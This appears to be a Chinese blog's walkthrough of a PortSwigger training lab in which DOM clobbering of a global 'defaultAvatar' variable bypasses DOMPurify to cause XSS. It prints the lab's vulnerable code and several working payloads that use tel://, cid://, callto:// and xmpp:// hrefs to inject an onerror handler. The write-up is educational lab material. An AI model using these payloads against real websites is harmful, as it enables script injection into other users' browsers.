某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

      • 跨站脚本(XSS)

      • 跨站请求伪造(CSRF)

      • 跨域资源共享(CORS)

      • 点击劫持

      • 基于DOM的漏洞

        • 从业者-基于DOM的开放重定向
        • 从业者-基于DOM的cookie操纵
        • 从业者-web消息-实现DOM型XSS
        • 从业者-web消息与javascript url-实现DOM型XSS
        • 从业者-web消息与JSON.parse-实现DOM型XSS
        • 专家-DOM覆盖-造成XSS
          • 题目
          • 实操
        • 专家-DOM覆盖-覆盖attributes属性以绕过HTML过滤器
      • WebSockets

    • 高级主题

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 客户端
  • 基于DOM的漏洞
carsaid
2023-10-11
目录

专家-DOM覆盖-造成XSS

# 实验室:利用DOM clobbering造成XSS

# 题目

此实验室包含一个 DOM 覆盖漏洞。评论功能允许 “safe” 的 HTML。若要解决实验室问题,请构造一个 HTML 注入,该注入覆盖变量并通过 XSS 调用alert()函数。

笔记

请注意,本实验的预期解决方案仅适用于 Chrome。

实验室-专家

利用DOM clobbering造成XSS >>

- name: 实验室-专家
  desc: 利用DOM clobbering造成XSS >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering
  bgColor: '#001350'
  textColor: '#d112fe'
1
2
3
4
5
6

# 实操

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

一个博客站点。

Not Found Image

进入任意一篇博客的详情页,查看网页源代码,可以看到三个 script 标签。

  • 加载了 JavaScript 库 domPurify,这个库可以用于过滤 XSS 载荷;
  • 加载了另一个 js 文件load...ing.js,应该就是评论功能所使用的代码;
  • 通过loadComments()函数向指定路径发送请求,以在网页加载完成后,获取并显示评论。
Not Found Image

尝试提交 XSS 载荷。

Not Found Image

不出所料,由于 domPurify 库,我们载荷中的关键字符被过滤了。

Not Found Image

我们查看另一个 js 文件load...ing.js,分析一下评论功能是如何运作的,以下是几段关键代码:

这是一个过滤函数,对尖括号和单双引号进行了过滤。

function escapeHTML(data) {
    return data.replace(/[<>'"]/g, function(c){
        return '&#' + c.charCodeAt(0) + ';';
    })
}
1
2
3
4
5

这是用于加载用户头像的一段代码:

  • 检查变量window.defaultAvatar是否存在。如果存在,则将它赋值给变量defaultAvatar。如果不存在,则使用另一个固定的默认值;
  • 构建一个img元素。如果变量comment.avatar存在,则使用escapeHTML对其进行过滤,然后拼接到src属性中。如果不存在,则使用defaultAvatar.avatar的值;
  • 最后将img元素追加到网页中。

你应该已经看出点眉目了吧?变量comment.avatar使用了函数escapeHTML进行过滤。但是defaultAvatar.avatar却没有。

let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
let divImgContainer = document.createElement("div");

divImgContainer.innerHTML = avatarImgHTML
1
2
3
4
5

以下是几段相关、但不是很关键的代码。

评论的 “作者名称” 和 “评论内容” 都使用 domPurify 库进行了过滤,路被堵死。

let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
...
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
1
2
3

评论的 “邮件地址” 不会进行处理,也不会显示在网页中。

评论的 “网站链接” 虽然没有进行过滤,但是不能通过引号闭合href属性,因为引号被自动编码了。而且链接只能是以 HTTP 协议开头,我们无法通过javascript:来执行 JavaScript。

let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
1
2
3
4

根据前面所学,构造一个载荷:

<a id=defaultAvatar><a id=defaultAvatar name=avatar href=http://example/1.jpg>
1

这将会覆盖全局变量defaultAvatar的值,然后将其avatar属性设置为http://example/1.jpg。

第一次评论,插入载荷。

Not Found Image

第二次评论,执行之前的载荷,查看效果。

成功将用户头像固定的src属性覆盖为了我们所提供的值。

Not Found Image

然后,我试图通过引号闭合原有img标签,直接添加onerror事件来执行 JavaScript。

又或者是直接插入标签,期待尖括号可以直接跳出原有标签。

<a id=defaultAvatar><a id=defaultAvatar name=avatar href='http://" onerror=alert(5)'>

<a id=defaultAvatar><a id=defaultAvatar name=avatar href='http://"><img src=1 onerror=alert(5)>//'>
1
2
3

双引号被编码。

Not Found Image

尖括号也被编码。

Not Found Image

也许是 HTTP 协议的缘故,URL 中的特殊字符都会被自动编码。

那就不带协议:

<a id=defaultAvatar><a id=defaultAvatar name=avatar href='a" onerror=alert(5)'>
1

不带协议的话,会被视为目录,自动为你加上当前站点的 URL,一样被编码。

Not Found Image

用一个不存在的协议呢?例如qweasd://:

<a id=defaultAvatar><a id=defaultAvatar name=avatar href='qweasd://" onerror=alert(5)'>
1

由于 domPurify 库,协议qweasd://不在白名单中,所以会被自动删掉。

前面看到的代码中,变量defaultAvatar分明没有使用 domPurify 进行过滤。但也许,domPurify 会自动应用于所有全局变量。而我们覆盖的刚好就是全局变量。

Not Found Image

查看 domPurify 的 js 文件,可以看到其中存在几个白名单协议。

Not Found Image

经过测试,如果使用tel://协议,则引号不会被 URL 编码,因为该协议中根本没有 URL 这种东西,自然也不会有 URL 编码:

<a id=defaultAvatar><a id=defaultAvatar name=avatar href='tel://" onerror=alert(5)'>
1

第一次评论,注入载荷。

Not Found Image

第二次评论,执行前面的载荷。

Not Found Image

成功了,双引号确实没有被 URL 编码,但是后面的单引号被 HTML 编码了,影响到了 JavaScript 的执行。

Not Found Image

简单,加上注释符//将其注释掉即可:

<a id=defaultAvatar><a id=defaultAvatar name=avatar href='tel://" onerror=alert(5)//'>
1

再次注入载荷,然后发表另一个评论测试效果。成功弹框。

Not Found Image

实验完成。

Not Found Image

经过测试,白名单中有四个协议可以用于构造载荷,它们都不会对引号进行 URL 编码:

<a id=defaultAvatar><a id=defaultAvatar name=avatar href='cid://"onerror=alert(5)//'>

<a id=defaultAvatar><a id=defaultAvatar name=avatar href='tel://"onerror=alert(5)//'>

<a id=defaultAvatar><a id=defaultAvatar name=avatar href='callto://"onerror=alert(5)//'>

<a id=defaultAvatar><a id=defaultAvatar name=avatar href='xmpp://"onerror=alert(5)//'>
1
2
3
4
5
6
7

这是callto://协议,不会对引号进行编码。

Not Found Image

这是xmpp://协议。

Not Found Image

答案中用的是cid://协议......没错,这题我看了答案(我是fw)

编辑 (opens new window)
从业者-web消息与JSON.parse-实现DOM型XSS
专家-DOM覆盖-覆盖attributes属性以绕过HTML过滤器

← 从业者-web消息与JSON.parse-实现DOM型XSS 专家-DOM覆盖-覆盖attributes属性以绕过HTML过滤器→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式